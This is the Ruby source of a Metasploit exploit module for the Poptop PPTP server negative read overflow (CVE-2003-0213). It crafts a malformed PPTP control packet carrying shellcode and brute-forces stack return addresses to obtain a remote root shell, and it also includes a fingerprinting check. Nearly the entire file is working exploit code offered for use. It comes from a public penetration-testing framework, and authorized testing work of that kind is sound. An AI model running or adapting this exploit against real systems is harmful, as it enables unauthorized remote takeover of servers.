metasploit-framework/modules/exploits/linux/pptp/poptop_negative_read.rb

128 lines
4.1 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Brute
def initialize(info = {})
super(update_info(info,
'Name' => 'Poptop Negative Read Overflow',
'Description' => %q{
This is an exploit for the Poptop negative read overflow. This will
work against versions prior to 1.1.3-b3 and 1.1.3-20030409, but I
currently do not have a good way to detect Poptop versions.
The server will by default only allow 4 concurrent manager processes
(what we run our code in), so you could have a max of 4 shells at once.
Using the current method of exploitation, our socket will be closed
before we have the ability to run code, preventing the use of Findsock.
},
'Author' => 'spoonm',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2003-0213'],
['OSVDB', '3293'],
['URL', 'http://securityfocus.com/archive/1/317995'],
['URL', 'http://www.freewebs.com/blightninjas/'],
],
'Privileged' => true,
'Payload' =>
{
# Payload space is dynamically determined
'MinNops' => 16,
'StackAdjustment' => -1088,
'Compat' =>
{
'ConnectionType' => '-find',
}
},
'SaveRegisters' => [ 'esp' ],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Targets' =>
[
['Linux Bruteforce',
{ 'Bruteforce' =>
{
'Start' => { 'Ret' => 0xbffffa00 },
'Stop' => { 'Ret' => 0xbffff000 },
'Step' => 0
}
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 9 2003'))
register_options(
[
Opt::RPORT(1723)
], self.class)
register_advanced_options(
[
OptInt.new("PreReturnLength", [ true, "Space before we hit the return address. Affects PayloadSpace.", 220 ]),
OptInt.new("RetLength", [ true, "Length of returns after payload.", 32 ]),
OptInt.new("ExtraSpace", [ true, "The exploit builds two protocol frames, the header frame and the control frame. " +
"ExtraSpace allows you use this space for the payload instead of the protocol (breaking the protocol, but still triggering the bug). " +
"If this value is <= 128, it doesn't really disobey the protocol, it just uses the Vendor and Hostname fields for payload data " +
"(these should eventually be filled in to look like a real client, ie windows). I've had successful exploitation with this set to 154, but nothing over 128 is suggested.", 0 ]),
OptString.new("Hostname", [ false, "PPTP Packet hostname", '' ]),
OptString.new("Vendor", [ true, "PPTP Packet vendor", 'Microsoft Windows NT' ]),
], self.class)
end
# Dynamic payload space calculation
def payload_space(explicit_target = nil)
datastore['PreReturnLength'].to_i + datastore['ExtraSpace'].to_i
end
def build_packet(length)
[length, 1, 0x1a2b3c4d, 1, 0].pack('nnNnn') +
[1,0].pack('cc') +
[0].pack('n') +
[1,1,0,2600].pack('NNnn') +
datastore['Hostname'].ljust(64, "\x00") +
datastore['Vendor'].ljust(64, "\x00")
end
def check
connect
sock.put(build_packet(156))
res = sock.get_once
if res and res =~ /MoretonBay/
return CheckCode::Detected
end
return CheckCode::Safe
end
def brute_exploit(addrs)
connect
print_status("Trying #{"%.8x" % addrs['Ret']}...")
# Construct the evil length packet
packet =
build_packet(1) +
payload.encoded +
([addrs['Ret']].pack('V') * (datastore['RetLength'] / 4))
sock.put(packet)
handler
disconnect
end
end